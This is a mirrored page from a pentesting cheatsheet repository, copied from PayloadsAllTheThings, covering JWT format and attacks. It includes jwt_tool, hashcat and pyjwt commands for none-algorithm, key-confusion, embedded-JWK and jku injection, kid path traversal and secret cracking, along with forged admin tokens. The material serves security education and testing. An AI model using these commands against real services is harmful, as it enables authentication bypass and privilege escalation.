daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (28651B)


      1 ---
      2 title: "JWT - JSON Web Token"
      3 topic: "JSON Web Token"
      4 topicSlug: "json-web-token"
      5 sourcePath: "JSON Web Token/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/JSON%20Web%20Token/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # JWT - JSON Web Token
     12 
     13 > JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
     14 
     15 ## Summary
     16 
     17 - [Tools](#tools)
     18 - [JWT Format](#jwt-format)
     19     - [Header](#header)
     20     - [Payload](#payload)
     21 - [JWT Signature](#jwt-signature)
     22     - [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042)
     23     - [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644)
     24     - [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235)
     25     - [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431)
     26     - [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)
     27     - [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts)
     28 - [JWT Secret](#jwt-secret)
     29     - [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)
     30     - [Break JWT secret](#break-jwt-secret)
     31 - [JWT Claims](#jwt-claims)
     32     - [JWT kid Claim Misuse](#jwt-kid-claim-misuse)
     33     - [JWKS - jku header injection](#jwks---jku-header-injection)
     34 - [Labs](#labs)
     35 - [References](#references)
     36 
     37 ## Tools
     38 
     39 - [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) -  🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
     40 - [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
     41 - [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper
     42 - [jwt.io](https://jwt.io/) - Encoder/Decoder
     43 
     44 ## JWT Format
     45 
     46 JSON Web Token : `Base64(Header).Base64(Data).Base64(Signature)`
     47 
     48 Example : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY`
     49 
     50 Where we can split it into 3 components separated by a dot.
     51 
     52 ```powershell
     53 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9        # header
     54 eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ        # payload
     55 UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
     56 ```
     57 
     58 ### Header
     59 
     60 Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).
     61 The most basic JWT header is the following JSON.
     62 
     63 ```json
     64 {
     65     "typ": "JWT",
     66     "alg": "HS256"
     67 }
     68 ```
     69 
     70 Other parameters are registered in the RFC.
     71 
     72 | Parameter | Definition                           | Description                                                                                     |
     73 | --------- | ------------------------------------ | ----------------------------------------------------------------------------------------------- |
     74 | alg       | Algorithm                            | Identifies the cryptographic algorithm used to secure the JWS                                   |
     75 | jku       | JWK Set URL                          | Refers to a resource for a set of JSON-encoded public keys                                      |
     76 | jwk       | JSON Web Key                         | The public key used to digitally sign the JWS                                                   |
     77 | kid       | Key ID                               | The key used to secure the JWS                                                                  |
     78 | x5u       | X.509 URL                            | URL for the X.509 public key certificate or certificate chain                                   |
     79 | x5c       | X.509 Certificate Chain              | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |
     80 | x5t       | X.509 Certificate SHA-1 Thumbprint)  | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate       |
     81 | x5t#S256  | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate     |
     82 | typ       | Type                                 | Media Type. Usually `JWT`                                                                       |
     83 | cty       | Content Type                         | This header parameter is not recommended to use                                                 |
     84 | crit      | Critical                             | Extensions and/or JWA are being used                                                            |
     85 
     86 Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
     87 "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
     88 
     89 | `alg` Param Value | Digital Signature or MAC Algorithm             | Requirements |
     90 | ----------------- | ---------------------------------------------- | ------------ |
     91 | HS256             | HMAC using SHA-256                             | Required     |
     92 | HS384             | HMAC using SHA-384                             | Optional     |
     93 | HS512             | HMAC using SHA-512                             | Optional     |
     94 | RS256             | RSASSA-PKCS1-v1_5 using SHA-256                | Recommended  |
     95 | RS384             | RSASSA-PKCS1-v1_5 using SHA-384                | Optional     |
     96 | RS512             | RSASSA-PKCS1-v1_5 using SHA-512                | Optional     |
     97 | ES256             | ECDSA using P-256 and SHA-256                  | Recommended  |
     98 | ES384             | ECDSA using P-384 and SHA-384                  | Optional     |
     99 | ES512             | ECDSA using P-521 and SHA-512                  | Optional     |
    100 | PS256             | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional     |
    101 | PS384             | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional     |
    102 | PS512             | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional     |
    103 | none              | No digital signature or MAC performed          | Required     |
    104 
    105 Inject headers with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
    106 
    107 ### Payload
    108 
    109 ```json
    110 {
    111     "sub":"1234567890",
    112     "name":"Amazing Haxx0r",
    113     "exp":"1466270722",
    114     "admin":true
    115 }
    116 ```
    117 
    118 Claims are the predefined keys and their values:
    119 
    120 - iss: issuer of the token
    121 - exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
    122 - iat: The time the JWT was issued. Can be used to determine the age of the JWT
    123 - nbf: "not before" is a future time when the token will become active.
    124 - jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
    125 - sub: subject of the token (rarely used)
    126 - aud: audience of the token (also rarely used)
    127 
    128 Inject payload claims with [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
    129 
    130 ## JWT Signature
    131 
    132 ### JWT Signature - Null Signature Attack (CVE-2020-28042)
    133 
    134 Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
    135 
    136 **Exploit**:
    137 
    138 ```ps1
    139 python3 jwt_tool.py JWT_HERE -X n
    140 ```
    141 
    142 **Deconstructed**:
    143 
    144 ```json
    145 {"alg":"HS256","typ":"JWT"}.
    146 {"sub":"1234567890","name":"John Doe","iat":1516239022}
    147 ```
    148 
    149 ### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
    150 
    151 Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
    152 
    153 - [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
    154 - [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
    155 
    156 ```ps1
    157 Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
    158 Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
    159 ```
    160 
    161 ### JWT Signature - None Algorithm (CVE-2015-9235)
    162 
    163 JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
    164 
    165 None algorithm variants:
    166 
    167 - `none`
    168 - `None`
    169 - `NONE`
    170 - `nOnE`
    171 
    172 To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
    173 
    174 Alternatively you can modify an existing JWT (be careful with the expiration time)
    175 
    176 - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
    177 
    178     ```ps1
    179     python3 jwt_tool.py [JWT_HERE] -X a
    180     ```
    181 
    182 - Manually editing the JWT
    183 
    184     ```python
    185     import jwt
    186 
    187     jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
    188     decodedToken = jwt.decode(jwtToken, verify=False)       
    189 
    190     # decode the token before encoding with type 'None'
    191     noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
    192 
    193     print(noneEncoded.decode())
    194     ```
    195 
    196 ### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
    197 
    198 If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
    199 
    200 Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: `openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout`
    201 
    202 > The algorithm **HS256** uses the secret key to sign and verify each message.
    203 > The algorithm **RS256** uses the private key to sign the message and uses the public key for authentication.
    204 
    205 ```python
    206 import jwt
    207 public = open('public.pem', 'r').read()
    208 print public
    209 print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
    210 ```
    211 
    212 :warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
    213 
    214 - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
    215 
    216     ```ps1
    217     python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
    218     ```
    219 
    220 - Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
    221     1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
    222     2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
    223     3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
    224     4. Select the PEM radio button and copy the resulting PEM key.
    225     5. Go to the Decoder tab and Base64-encode the PEM.
    226     6. Go back to the JWT Editor Keys tab and generate a `New Symmetric Key` in JWK format.
    227     7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
    228     8. Edit the JWT token alg to `HS256` and the data.
    229     9. Click `Sign` and keep the option: `Don't modify header`
    230 
    231 - Manually using the following steps to edit an RS256 JWT token into an HS256
    232     1. Convert our public key (key.pem) into HEX with this command.
    233 
    234         ```powershell
    235         $ cat key.pem | xxd -p | tr -d "\\n"
    236         2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
    237         ```
    238 
    239     2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
    240 
    241         ```powershell
    242         $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
    243 
    244         (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
    245         ```
    246 
    247     3. Convert signature (Hex to "base64 URL")
    248 
    249         ```powershell
    250         python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
    251         ```
    252 
    253     4. Add signature to edited payload
    254 
    255         ```powershell
    256         [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
    257         eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
    258         ```
    259 
    260 ### JWT Signature - Key Injection Attack (CVE-2018-0114)
    261 
    262 > A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
    263 
    264 **Exploit**:
    265 
    266 - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
    267 
    268     ```ps1
    269     python3 jwt_tool.py [JWT_HERE] -X i
    270     ```
    271 
    272 - Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
    273     1. Add a `New RSA key`
    274     2. In the JWT's Repeater tab, edit data
    275     3. `Attack` > `Embedded JWK`
    276 
    277 **Deconstructed**:
    278 
    279 ```json
    280 {
    281   "alg": "RS256",
    282   "typ": "JWT",
    283   "jwk": {
    284     "kty": "RSA",
    285     "kid": "jwt_tool",
    286     "use": "sig",
    287     "e": "AQAB",
    288     "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
    289   }
    290 }.
    291 {"login":"admin"}.
    292 [Signed with new Private key; Public key injected]
    293 ```
    294 
    295 ### JWT Signature - Recover Public Key From Signed JWTs
    296 
    297 The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
    298 
    299 [SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
    300 
    301 ```ps1
    302 $ docker run -it ttervoort/jws2pubkey JWS1 JWS2
    303 $ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
    304 Computing public key. This may take a minute...
    305 {"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
    306 ```
    307 
    308 ## JWT Secret
    309 
    310 > To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
    311 
    312 ### Encode and Decode JWT with the secret
    313 
    314 - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
    315 
    316     ```ps1
    317     jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
    318     jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
    319     
    320     Token header values:
    321     [+] alg = "HS256"
    322     [+] typ = "JWT"
    323 
    324     Token payload values:
    325     [+] name = "John Doe"
    326     ```
    327 
    328 - Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
    329 
    330     ```python
    331     import jwt
    332     encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
    333     jwt.decode(encoded, 'secret', algorithms=['HS256']) 
    334     ```
    335 
    336 ### Break JWT secret
    337 
    338 Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
    339 
    340 #### JWT tool
    341 
    342 First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
    343 
    344 ```powershell
    345 python3 -m pip install termcolor cprint pycryptodomex requests
    346 python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
    347 ```
    348 
    349 Then edit the field inside the JSON Web Token.
    350 
    351 ```powershell
    352 Current value of role is: user
    353 Please enter new value and hit ENTER
    354 > admin
    355 [1] sub = 1234567890
    356 [2] role = admin
    357 [3] iat = 1516239022
    358 [0] Continue to next step
    359 
    360 Please select a field number (or 0 to Continue):
    361 > 0
    362 ```
    363 
    364 Finally, finish the token by signing it with the previously retrieved "secret" key.
    365 
    366 ```powershell
    367 Token Signing:
    368 [1] Sign token with known key
    369 [2] Strip signature from token vulnerable to CVE-2015-2951
    370 [3] Sign with Public Key bypass vulnerability
    371 [4] Sign token with key file
    372 
    373 Please select an option from above (1-4):
    374 > 1
    375 
    376 Please enter the known key:
    377 > secret
    378 
    379 Please enter the key length:
    380 [1] HMAC-SHA256
    381 [2] HMAC-SHA384
    382 [3] HMAC-SHA512
    383 > 1
    384 
    385 Your new forged token:
    386 [+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
    387 [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
    388 ```
    389 
    390 - Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
    391 - Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
    392 - Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
    393 - Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
    394 - Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
    395 
    396 #### Hashcat
    397 
    398 > Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
    399 
    400 - Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
    401 - Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
    402 - Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
    403 
    404 ## JWT Claims
    405 
    406 [IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
    407 
    408 ### JWT kid Claim Misuse
    409 
    410 The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
    411 
    412 - Example #1 : Local file
    413 
    414     ```json
    415     {
    416     "alg": "HS256",
    417     "typ": "JWT",
    418     "kid": "/root/res/keys/secret.key"
    419     }
    420     ```
    421 
    422 - Example #2 : Remote file
    423 
    424     ```json
    425     {
    426         "alg":"RS256",
    427         "typ":"JWT",
    428         "kid":"http://localhost:7070/privKey.key"
    429     }
    430     ```
    431 
    432 The content of the file specified in the kid header will be used to generate the signature.
    433 
    434 ```js
    435 // Example for HS256
    436 HMACSHA256(
    437   base64UrlEncode(header) + "." +
    438   base64UrlEncode(payload),
    439   your-256-bit-secret-from-secret.key
    440 )
    441 ```
    442 
    443 The common ways to misuse the kid header:
    444 
    445 - Get the key content to change the payload
    446 - Change the key path to force your own
    447 
    448     ```py
    449     >>> jwt.encode(
    450     ...     {"some": "payload"},
    451     ...     "secret",
    452     ...     algorithm="HS256",
    453     ...     headers={"kid": "http://evil.example.com/custom.key"},
    454     ... )
    455     ```
    456 
    457 - Change the key path to a file with a predictable content.
    458 
    459   ```ps1
    460   python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
    461   python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
    462   ```
    463 
    464 - Modify the kid header to attempt SQL and Command Injections
    465 
    466 ### JWKS - jku header injection
    467 
    468 "jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
    469 
    470 It is sometimes exposed publicly via a standard endpoint:
    471 
    472 - `/jwks.json`
    473 - `/.well-known/jwks.json`
    474 - `/openid/connect/jwks.json`
    475 - `/api/keys`
    476 - `/api/v1/keys`
    477 - [`/{tenant}/oauth2/v1/certs`](https://web.archive.org/web/20240116204119/https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
    478 
    479 You should create your own key pair for this attack and host it. It should look like that:
    480 
    481 ```json
    482 {
    483     "keys": [
    484         {
    485             "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
    486             "kty": "RSA",
    487             "e": "AQAB",
    488             "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
    489         }
    490     ]
    491 }
    492 ```
    493 
    494 **Exploit**:
    495 
    496 - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
    497 
    498     ```ps1
    499     python3 jwt_tool.py JWT_HERE -X s
    500     python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
    501     ```
    502 
    503 - Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
    504     1. Generate a new RSA key and host it
    505     2. Edit JWT's data
    506     3. Replace the `kid` header with the one from your JWKS
    507     4. Add a `jku` header and sign the JWT (`Don't modify header` option should be checked)
    508 
    509 **Deconstructed**:
    510 
    511 ```json
    512 {"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
    513 {"login":"admin"}.
    514 [Signed with new Private key; Public key exported]
    515 ```
    516 
    517 ## Labs
    518 
    519 - [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
    520 - [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
    521 - [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
    522 - [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
    523 - [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
    524 - [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
    525 - [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
    526 - [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
    527 - [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
    528 - [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
    529 - [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
    530 - [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
    531 - [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
    532 
    533 ## References
    534 
    535 - [5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019](https://web.archive.org/web/20210218162416/https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
    536 - [Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016](https://web.archive.org/web/20251102094325/https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
    537 - [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023](https://web.archive.org/web/20250914204544/https://www.youtube.com/watch?v=d7wmUz57Nlg)
    538 - [Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015](https://web.archive.org/web/20260207024257/https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
    539 - [Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018](https://web.archive.org/web/20180509012007/https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
    540 - [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
    541 - [Hacking JSON Web Tokens - Vickie Li - October 27, 2019](https://web.archive.org/web/20191028125424/https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
    542 - [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017](https://web.archive.org/web/20240229055017/https://nandynarwhals.org/hitbgsec2017-pasty/)
